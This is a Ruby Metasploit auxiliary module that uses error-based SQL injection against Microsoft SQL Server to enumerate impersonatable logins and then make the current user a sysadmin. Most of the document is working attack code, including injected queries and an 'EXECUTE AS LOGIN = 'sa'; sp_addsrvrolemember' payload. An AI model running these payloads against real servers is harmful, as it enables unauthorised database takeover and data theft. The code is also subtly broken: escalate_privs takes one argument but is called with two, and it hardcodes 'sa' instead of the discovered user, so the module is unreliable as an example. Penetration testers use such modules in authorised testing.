##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MSSQL_SQLI
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SQL Server SQLi Escalate Execute AS',
        'Description' => %q{
          This module can be used escalate privileges if the IMPERSONATION privilege has been
          assigned to the user via error based SQL injection.  In most cases, this results in
          additional data access, but in some cases it can be used to gain sysadmin privileges.
          The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
        },
        'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
        'License' => MSF_LICENSE,
        'References' => [['URL', 'http://msdn.microsoft.com/en-us/library/ms178640.aspx']],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
  end

  def run
    # Get the database user name
    print_status('Grabbing the database user name...')
    db_user = get_username
    if db_user.nil?
      print_error('Unable to grab user name...')
      return
    end

    print_good("Database user: #{db_user}")

    # Grab sysadmin status
    print_status("Checking if #{db_user} is already a sysadmin...")
    admin_status = check_sysadmin

    if admin_status.nil?
      print_error("Couldn't retrieve user status, aborting...")
      return
    end

    if admin_status == '1'
      print_error("#{db_user} is already a sysadmin, no escalation needed.")
      return
    end

    print_status("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")

    # Get list of users that can be impersonated
    print_status('Enumerating a list of users that can be impersonated...')
    imp_user_list = check_imp_users
    if imp_user_list.nil? || imp_user_list.empty?
      print_error('Sorry, the current user doesnt have permissions to impersonate anyone.')
      return
    end
    # Display list of users that can be impersonated
    print_good("#{imp_user_list.length} users can be impersonated:")
    imp_user_list.each do |dbuser|
      print_status("  #{dbuser}")
    end

    # Check if any of the users that can be impersonated are sysadmins
    print_status('Checking if any of them are sysadmins...')
    imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
    if imp_user_sysadmin.nil?
      print_error('Sorry, none of the users that can be impersonated are sysadmins.')
      return
    end

    # Attempt to escalate to sysadmin
    print_status("Attempting to impersonate #{imp_user_sysadmin}...")
    escalate_privs(imp_user_sysadmin, db_user)

    admin_status = check_sysadmin
    if admin_status && admin_status == '1'
      print_good("Success! #{db_user} is now a sysadmin!")
    else
      print_error('Fail buckets, something went wrong.')
    end
  end

  def get_username
    # Setup query to check for database username
    clue_start = Rex::Text.rand_text_alpha(8..11)
    clue_end = Rex::Text.rand_text_alpha(8..11)
    sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"

    # Run query
    result = mssql_query(sql)

    # Parse result
    if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
      user_name = ::Regexp.last_match(1)
    else
      user_name = nil
    end

    user_name
  end

  def check_sysadmin
    # Setup query to check for sysadmin
    clue_start = Rex::Text.rand_text_alpha(8..11)
    clue_end = Rex::Text.rand_text_alpha(8..11)
    sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"

    # Run query
    result = mssql_query(sql)

    # Parse result
    if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
      status = ::Regexp.last_match(1)
    else
      status = nil
    end

    status
  end

  def check_imp_users
    # Setup query to check for trusted databases owned by sysadmins
    clue_start = Rex::Text.rand_text_alpha(8..11)
    clue_end = Rex::Text.rand_text_alpha(8..11)

    # Setup query
    sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}'
    FROM  sys.server_permissions a
    INNER JOIN sys.server_principals b
    ON a.grantor_principal_id = b.principal_id
    WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))"

    # Run query
    res = mssql_query(sql)

    unless res && res.body
      return nil
    end

    # Parse results
    parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)

    if parsed_result && !parsed_result.empty?
      parsed_result.flatten!
      parsed_result.uniq!
    end

    parsed_result
  end

  def check_imp_sysadmin(imp_user_list)
    # Check if the user has the db_owner role is any databases
    imp_user_list.each do |imp_user|
      # Setup query
      clue_start = Rex::Text.rand_text_alpha(8..11)
      clue_end = Rex::Text.rand_text_alpha(8..11)

      sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')"

      # Run query
      result = mssql_query(sql)

      unless result && result.body
        next
      end

      # Parse results
      parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m)

      if parsed_result && !parsed_result.empty?
        parsed_result.flatten!
        parsed_result.uniq!
      end

      # check if user is a sysadmin
      if parsed_result && parsed_result[0] == '1'
        print_good("  #{imp_user} is a sysadmin!")
        return imp_user
      else
        print_status("  #{imp_user} is NOT a sysadmin")
      end
    end

    nil
  end

  # Attempt to escalate privileges
  def escalate_privs(db_user)
    # Setup Query - Impersonate the first sysadmin user on the list
    evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"

    # Execute Query
    mssql_query(evil_sql)
  end
end
